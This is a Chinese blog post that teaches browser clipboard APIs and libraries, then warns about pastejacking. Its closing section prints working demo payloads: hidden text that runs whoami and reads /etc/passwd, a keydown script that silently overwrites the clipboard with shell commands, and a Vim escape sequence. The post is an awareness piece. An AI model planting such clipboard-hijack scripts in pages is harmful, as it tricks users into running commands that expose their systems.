资讯专栏INFORMATION COLUMN

DOM中剪贴板控制与剪贴板劫持攻击提醒

lemanli / 2714人阅读

摘要:直到的到来,将剪贴板相关事件纳入了规范。但是,在和中,只有在处理剪贴板事件期间,对象才有效,这是为了防止对剪贴板的未授权访问在中,则可以随时访问对象。

本部分系列文章Github Repo

Introduction Clipboard API

HTML5实战与剖析之剪贴板事件

IE是最早支持与剪贴板相关的事件,以及通过JavaScript访问剪贴板数据的浏览器。 IE的实现成为了事实上的标准,随后Firefox 3+ 、 Chrome和Safari 2+都支持类似的事件和剪贴板的访问,但是Opera不支持通过JavaScript访问剪贴板。直到HTML5的到来,将剪贴板相关事件纳入了 HTML5规范。

数据访问

要访问剪贴板中的数据,可以通过clipboardData对象:在IE中,clipboardData对象是window对象的属性;而在 Chrome、Safari和Firefox 4+中,clipboardData对象是相应event对的属性。但是,在Chrome、Safari和Firefox 4+中,只有在处理剪贴板事件期间,clipboardData对象才有效,这是为了防止对剪贴板的未授权访问;在IE中,则可以随时访问 clipboardData对象。为了确保跨浏览器兼容,最好只在发生剪贴板事件期间使用这个对象。

//获取剪贴板数据方法
function getClipboardText(event){
    var clipboardData = event.clipboardData || window.clipboardData;
    return clipboardData.getData("text");
};


//设置剪贴板数据
function setClipboardText(event, value){
    if(event.clipboardData){
        return event.clipboardData.setData("text/plain", value);
    }else if(window.clipboardData){
        return window.clipboardData.setData("text", value);
    }
};

这个clipboardData对象有三个方法:getData()方法、setData()方法和clearData()方法。其中,getData()方法用于从剪贴板中获取数据,它接收一个参数,即要取得的数据格式。在IE中,有两种数据格式:’text”和”URL”。在Chrome、Safari和Firefox 4+中,这个参数是一种MIME类型;不过,可以用”text”代表”text/plain”。setData()方法的第一个参数也是数据类型,第二个参数是要放在剪贴板中的文字。对于第一个参数,IE照样是支持”text”和”URL”,而在Chrome、Safari中,仍然支持MIME类型。但是与getData()方法不同的是,在Chrome、Safari中的setData()方法不能识别”text”类型。这两个浏览器在成功将文本放到剪贴板中后,都会返回true;否则返回false。好了说了这么多,就来看下面的小例子吧。

事件监控

下面就是6个剪贴板事件。

beforecopy:在发生复制操作前触发;

copy:在发生复制操作的时候触发;

beforecut:在发生剪切操作前触发;

cut:在发生剪切操作的时候触发;

beforepaste:在发生粘贴操作前触发;

paste:在发生粘贴操作的时候触发。

在Firefox、Chrome和Safari中,beforecopy、beforecut和beforepaste事件只会在显示针对文本框的上下文 菜单(预期将发生剪贴板事件)的情况下触发。但是IE则会在触发copy、cut和paste事件之前先触发这些事件。至于copy、cut和paste 事件,只要是在上下文菜单(右键菜单)中选择了相应选项,或者使用了相应的键盘组合键如(ctrl+v),所有浏览器都会触发他们。这里以beforecopy为例:


    


    Select some text on this page and press CTRL + C!
clipboardjs:基于Selection与execCommand的便捷封装

与标准的Clipboard API相比,clipboardjs具有相对较好地兼容性与易用性,它的浏览器适用范围是:

笔者实机测试过部分Android 4.0+与iOS 8+的移动设备,还是可以使用的。

Installation & Setup

可以基于npm安装:

npm install clipboard --save

或者基于bower安装:

bower install clipboard --save

安装之后直接引入即可:


Basic Usage

注意,所有的Clipboard初始化时候都需要传入一个DOM元素,然后基于H5的data-*属性来控制待操作的对象,譬如:











new Clipboard(".btn");

这样就建立了基本的拷贝操作,如果是需要进行剪切操作的话:






也可以直接复制一些属性:



Event

clipboardjs也为我们设置了一些在调用前后的监听事件,最常用的就是success与error事件:

var clipboard = new Clipboard(".btn");

clipboard.on("success", function(e) {
    console.info("Action:", e.action);
    console.info("Text:", e.text);
    console.info("Trigger:", e.trigger);

    e.clearSelection();
});

clipboard.on("error", function(e) {
    console.error("Action:", e.action);
    console.error("Trigger:", e.trigger);
});
Advanced Usage

如果你希望利用代码动态控制目标元素和文本内容,clipboardjs也提供了一系列易用的API,你要做的就是按照规范声明方程。譬如,如果你想要动态设置操作目标target,可以直接返回一个Node节点:

new Clipboard(".btn", {
    target: function(trigger) {
        return trigger.nextElementSibling;
    }
});

如果想要动态设置文本内容,可以返回一个String:

new Clipboard(".btn", {
    text: function(trigger) {
        return trigger.getAttribute("aria-label");
    }
});

另外,如果你是一个单页应用,可以利用destroy来在DOM的生命周期中进行控制:

var clipboard = new Clipboard(".btn");
clipboard.destroy();
ZeroClipboard:基于Flash的剪贴板控制

ZeroClipboard是只要在能够使用Flash的地方就可以使用,如果碰上Flash被禁止了的就歇菜了。现在不是很建议使用,不过在某些需要兼容的老版本浏览器上可以考虑:



  

    

    

    

  



// main.js

var client = new ZeroClipboard( document.getElementById("copy-button") );



client.on( "ready", function( readyEvent ) {

  // alert( "ZeroClipboard SWF is ready!" );



  client.on( "aftercopy", function( event ) {

    // `this` === `client`

    // `event.target` === the element that was clicked

    event.target.style.display = "none";

    alert("Copied text to clipboard: " + event.data["text/plain"] );

  } );

} );
Pastejacking:复制劫持

笔者也是最近看到了Github上的这篇关于复制劫持的文章,才打算把之前的网页剪贴板相关的东西整理下发出来。浏览器允许开发者能够自主地控制用户剪贴板,不过这样也就导致了部分恶意网页可能引导用户无意间执行恶意代码。最常见的就是譬如你浏览某个教程网站,上面提示你输入以下命令:

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 

作为资深懒货,我肯定选择复制粘贴啦,然后我就Happy的Ctrl+C,然后我惊讶的发现自己的剪贴板里的内容变成了:

git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d "
";echo -e "!
That was a bad idea. Don"""""t copy code from websites you don"""""t trust!

Here"""""s the first line of your /etc/passwd: ";head -n1 /etc/passwd

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 

这种攻击方法还是基于典型的HTML/CSS隐藏属性,在开发者工具中查看DOM树可以发现,在我们看不见的地方放了这些东西:

当我们选定复制的时候,其实是把那些隐藏的部分全部选上了。而我们这边要讨论的剪贴板劫持攻击跟这个的效果很类似,只不过剪贴板劫持攻击会更让你防不胜防一点,它可以在你任何一个点击事件后触发,并且可以控制将一些十六进制字符复制进去,有时候还能用来干掉你的Vim,还是先看一个例子:

可以看出这次没有隐藏DOM元素,但是当我们复制了之后,得到的却是:

touch ~/.evil

clear

echo "not evil"

这次是因为它加了这么个控制脚本:

function copyTextToClipboard(text) {

              var textArea = document.createElement("textarea");



              //

              // *** This styling is an extra step which is likely not required. ***

              //

              // Why is it here? To ensure:

              // 1. the element is able to have focus and selection.

              // 2. if element was to flash render it has minimal visual impact.

              // 3. less flakyness with selection and copying which **might** occur if

              //    the textarea element is not visible.

              //

              // The likelihood is the element won"t even render, not even a flash,

              // so some of these are just precautions. However in IE the element

              // is visible whilst the popup box asking the user for permission for

              // the web page to copy to the clipboard.

              //



              // Place in top-left corner of screen regardless of scroll position.

              textArea.style.position = "fixed";

              textArea.style.top = 0;

              textArea.style.left = 0;



              // Ensure it has a small width and height. Setting to 1px / 1em

              // doesn"t work as this gives a negative w/h on some browsers.

              textArea.style.width = "2em";

              textArea.style.height = "2em";



              // We don"t need padding, reducing the size if it does flash render.

              textArea.style.padding = 0;



              // Clean up any borders.

              textArea.style.border = "none";

              textArea.style.outline = "none";

              textArea.style.boxShadow = "none";



              // Avoid flash of white box if rendered for any reason.

              textArea.style.background = "transparent";





              textArea.value = text;



              document.body.appendChild(textArea);



              textArea.select();



              try {

                var successful = document.execCommand("copy");

                var msg = successful ? "successful" : "unsuccessful";

                console.log("Copying text command was " + msg);

              } catch (err) {

                console.log("Oops, unable to copy");

              }



              document.body.removeChild(textArea);

            }



            document.addEventListener("keydown", function(event) {

                var ms = 800;  

                var start = new Date().getTime();

                var end = start;

                while(end < start + ms) {

                    end = new Date().getTime();

                } 

                copyTextToClipboard("touch ~/.evil
clear
echo "not evil"");

            });

防不胜防啊。这东西就好像当年某些钓鱼网站让你乱下一些PE病毒一样,并没有直接的解决方案,最好的防护方式就是以后你复制命令到终端的时候仔细瞅瞅,或者先复制到一个第三方的编辑器内看看有没有啥奇怪的命令。不过别用Vim作为验证,譬如如下的攻击方式:

copyTextToClipboard("echo "evil"
 x1b:!cat /etc/passwd
");

它会利用Vim的Macro来获取你的用户密码等。如果你用的是ITerm,它会提醒你那些自动利用换行来执行的命令:

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/79543.html

相关文章

  • 前端每周清单第 55 期: MobX 4 特性概览,iOS Hacks 分享, 分布式事务详解

    摘要:异步剪贴板操作过去的数年中,各浏览器基本上都在使用来进行剪贴板交互。而提供了新的,则为我们提供了另一种异步式的剪贴板操作方式,本文即是对该机制与接口规范的详细介绍。 showImg(https://segmentfault.com/img/remote/1460000013854167); 前端每周清单第 55 期: MobX 4 特性概览,iOS Hacks 分享, 分布式事务详解 ...

    zombieda 评论0 收藏0
  • 提高NodeJS网站的安全性:Web服务器防黑客攻击技巧

    摘要:尽管这样,我们还没有形成很多的安全准则。在这篇文章中,我会分享一些关于提高安全性方面的技巧。注跨站脚本攻击发生这种情况时,攻击者注入可执行代码的响应。这样可能会被跨站点脚本攻击。 毫无疑问,Node.js现在是越来越成熟。尽管这样,我们还没有形成很多的安全准则。 在这篇文章中,我会分享一些关于提高Node.js安全性方面的技巧。 不用eval,赢得朋友 你不仅仅要避免使用eval ...

    waterc 评论0 收藏0
  • JavaScript 基础知识 - DOM篇(一)

    摘要:前言本篇文章是基础知识的篇,如果前面的基础知识入门篇看完了,现在就可以学习了。基本概念分为三个部分。在这个基础上使用一些新特性,高级浏览器支持,低级浏览器不支持。在对象中的属性是一个布尔值,只有和。 showImg(https://segmentfault.com/img/remote/1460000012581493?w=1920&h=1080); DOM 前言 本篇文章是JavaS...

    cuieney 评论0 收藏0
  • Web聊天工具的富文本输入框

    摘要:由于我们的富文本输入框比较简单,所以只需要处理两类数据即可,其一是普通的文本类型数据,包括表情其二则是图片类型数据。 最近折腾 Websocket,打算开发一个聊天室应用练练手。在应用开发的过程中发现可以插入 emoji ,粘贴图片的富文本输入框其实蕴含着许多有趣的知识,于是便打算记录下来和大家分享。 仓库地址:chat-input-box预览地址:https://codepen.io...

    iKcamp 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<